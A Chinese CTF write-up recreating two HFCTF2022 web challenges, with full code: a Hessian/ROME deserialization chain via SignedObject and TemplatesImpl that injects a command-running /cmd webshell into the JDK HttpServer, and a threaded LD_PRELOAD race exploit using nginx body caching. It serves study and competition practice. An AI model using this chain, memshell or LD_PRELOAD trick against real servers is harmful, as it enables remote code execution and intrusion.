BUU 虎符杯(复现)
太菜了,直接坐大牢。赛后复现一波。
[HFCTF2022]ezchain
java反序列化,hessian反序列化,但是不出网。网上搜的都是出网的jdbc利用。所以得自己找个链子,写内存马。由于用了rome1.7依赖,利用点挺像rome1.0的。但是就是打不通(用的TemplatesImpl链)。进行本地debug。
try {
List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
Iterator var10 = propertyDescriptors.iterator();
while(var10.hasNext()) {
PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();
String propertyName = propertyDescriptor.getName();
Method getter = propertyDescriptor.getReadMethod();
Object value = getter.invoke(this.obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + propertyName, value);
}
} catch (Exception var9) {
LOG.error("Error while generating toString", var9);
Class<? extends Object> clazz = this.obj.getClass();
String errorMessage = var9.getMessage();
sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage));
}
由于会调用TemplatesImpl
的所有get方法,到getStylesheetDOM
的时候,由于transient
修饰的_sdom
不能序列化,直接报了null的错误。然后比赛的时候就不会了。赛后看wp,需要用二次反序列化来触发。在java1.8里面有SignedObject
可以触发,而且它有个getObject
可以进行触发TemplatesImpl链的利用。其实不是很明白为啥二次反序列化可以触发。我的理解:在getObject:
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
触发这里的readObject。去到TemplatesImpl.readObject
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
SecurityManager security = System.getSecurityManager();
if (security != null){
String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
throw new UnsupportedOperationException(err.toString());
}
}
// We have to read serialized fields first.
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}
最后这里给_tfactory
进行了赋值,这个变量也是不能序列化的。然后我看wp说其实是因为_tfactory
不能序列化,而不是_sdom
。确实是_tfactory
这里搞好就可以进行反序列化了。然后回到ToStringBean.toString
的时候,只调用了getOutputProperties
,比直接反序列化少了两个get方法没有调用,我也不是很懂为啥。到这里就可以直接加载恶意bytecodes了。然后我这里踩了不少坑。
坑一:啥类型的内存马?
源码直接用HttpHandler
搭的服务器,我搜内存马都是些filter啥啥的内存马,这些不是tomcat就是spring有关,但是这里直接拿java1.8内置的HttpHandler搭的,似乎都不能用。我思来想去还是想办法拿context进行注入吧,然后看了wp是直接用java反射进行注入。本地debug找context。首先,web服务器一般都是多线程的,所以先从当前线程入手Thread.currentThread()
可以发现context的位置
Thread.currentThread().group.threads[1].target.this$0.context
这里不一定是threads[1],但是它的特点是,名字为Thread-2
。然后可以用createContext
进行路由创建,从而写入shell。
坑二:用ClassLoader创建shell
我直接用之前陇原战疫的ezjaba的payload来打,结果一直不成功。搞了半天,debug才发现问题所在:
ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();
这里的classLoader
直接为null,导致类无法导入。然后还在同学那里学到可以搞一手Thread.currentThread().getContextClassLoader()
它返回的是AppClassLoader
。但是没有defineClass
的方法,所以好像ezjaba的方式行不通。
坑三:t.getRequestBody()怎么传?
用burpsuite搞了半天,不是url编码,就是base64,或者unicode、原始的字符通通行不通。这b玩意居然不会url解码,把我整不会了。最终,我同学说为啥不直接试试python传byte。md,真tm成了,离谱了,还是太年轻了。
最后
没办法了,直接不搞花里胡哨的操作了,硬搞反射进行注入。类似rome1.0的写法:
import com.caucho.hessian.io.Hessian2Input;
import org.apache.commons.io.FileUtils;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import javassist.*;
import java.io.*;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.HashMap;
import javax.xml.transform.Templates;
import java.util.Base64;
public class Exp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Exp.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Exp.setFieldValue(s, "table", tbl);
return s;
}
public static void main(String[] args) throws Exception {
String code = "{printName();}";
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(test.class.getName());
clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
clazz.makeClassInitializer().insertBefore(code);
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
File classFilePath = new File(new File(System.getProperty("user.dir"), ""), "test.class");
FileUtils.writeByteArrayToFile(classFilePath, clazz.toBytecode());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", bytecodes);
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> hashmap = makeMap(root,root);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);
ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
EqualsBean root1 = new EqualsBean(ToStringBean.class, item);
HashMap<Object, Object> hashmap1 = makeMap(root1,root1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(hashmap1);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(new String(Base64.getEncoder().encode(bytes)));
// InputStream in = new ByteArrayInputStream(bytes);
// Hessian2Input input = new Hessian2Input(in);
// input.readObject();
// try {
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
// Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
// System.out.println(hessian2Input.readObject());
// } catch (Exception e) {
// System.out.println(e);
// }
}
}
test.java
源码:
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class test implements HttpHandler{
public static void printName() throws IllegalAccessException, NoSuchFieldException {
//控制器的bytecode
Object obj = Thread.currentThread();
Field field = obj.getClass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);//ThreadGroups
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);//Thread[]
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("Thread-2")){
try {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);//Serverimpl$Dispatch
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);
Method createContext = obj.getClass().getDeclaredMethod("createContext", String.class, HttpHandler.class);
createContext.setAccessible(true);
createContext.invoke(obj, "/cmd", new test());
} catch (Exception e) {
}
}
}
// WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
// field.setAccessible(true);
// ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
// adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
}
@Override
public void handle(HttpExchange httpExchange) throws IOException {
String query = httpExchange.getRequestURI().getQuery();
Map<String, String> queryMap = this.queryToMap(query);
String response = "Welcome to shell";
if (queryMap != null) {
String cmd = (String)queryMap.get("cmd");
try {
// java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
response = o;
}catch (Exception e){
}
}
httpExchange.sendResponseHeaders(200, (long)response.length());
OutputStream os = httpExchange.getResponseBody();
os.write(response.getBytes());
os.close();
}
public Map<String, String> queryToMap(String query) {
if (query == null) {
return null;
} else {
Map<String, String> result = new HashMap();
String[] var3 = query.split("&");
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
String param = var3[var5];
String[] entry = param.split("=");
if (entry.length > 1) {
result.put(entry[0], entry[1]);
} else {
result.put(entry[0], "");
}
}
return result;
}
}
}
抄了一手ha1神的wp,经典用javassit生成字节码。然后来一手python传就好了:
import requests
url = "http://5283a489-9bc8-47be-9b28-558a8051d7ce.node4.buuoj.cn:81/?token=GeCTF2022"
with open("a.class", "rb") as f:
content = f.read()
requests.post(url=url, data=content)
url = "http://5283a489-9bc8-47be-9b28-558a8051d7ce.node4.buuoj.cn:81/cmd?cmd=cat /flag"
text = requests.get(url).text
print(text)
a.class
就是把上面exp生成的base64解码写到文件里面就行。然后token可以直接爆破出来(带佬同学说uuid比较好整,确实也能整出来),不懂学弟咋找到的GeCTF2022
。其实也可以一直反射找到handler
,然后替换就行。就在之前的context.list[0].handler
这里就可以。还有一个rspConnection
不是很懂。
然后预期解是命令盲注,逆大天,不搞了,java太jb的烦了。
ezphp
简单的源码
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
直接看一手p神的跳跳糖文章。https://tttang.com/archive/1450/
但是p神没有找到dash的利用方法,这道题是dash环境。然后看了半天,确实不会。赛后看wp,居然是用nginx的缓存搞得。之前的hxp的文件包含的最后一道题的预期解就是用到了nginx的缓存,之前没好好学导致的结果😥。
参考wp:https://www.wolai.com/4X2FgV1HkxcBYBRZT31T4F
先搞一个大so(1mb居然报请求体太大):
21mb的c代码编译出来才800kb左右,够用了。然后搞一手python爆破:
from time import sleep
import requests
import _thread
f=open("evil.so",'rb')
data=f.read()
url="http://4548ff3a-deee-4744-aa98-60f759c85348.node4.buuoj.cn:81/"
def upload():
print("start upload")
while True:
requests.get(url+"index.php", data=data)
def preload(fd):
while True:
print("start ld_preload")
for pid in range(10,20):
file = f'/proc/{pid}/fd/{fd}'
# print(url+f"index.php?env=LD_PRELOAD={file}")
resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")
while resp.status_code != 200:
sleep(3)
resp = requests.get(url + f"index.php?env=LD_PRELOAD={file}")
# print(resp.text)
if 'uid' in resp.text:
print("finished")
exit()
try:
_thread.start_new_thread(upload, ())
for fd in range(1, 20):
_thread.start_new_thread(preload,(fd,))
except:
print("error")
while True:
pass
由于buu日常429,之前一直爆破不成功,后来想起得加一个while判断是否请求成功才行。速度还行,1分多钟就可以了
开摆!
剩下的题目没有源代码进行复现,就直接摆了,具体可看官方wp:
2022HFCTF-Writeup
ezchain这题的jar包怎么搭本地调试环境啊
我用的idea,新建一个maven项目,把github上的题目代码下载好。jd-gui反编译jar包,复制一下pom.xml,然后把代码粘到idea,下断点就可以debug了。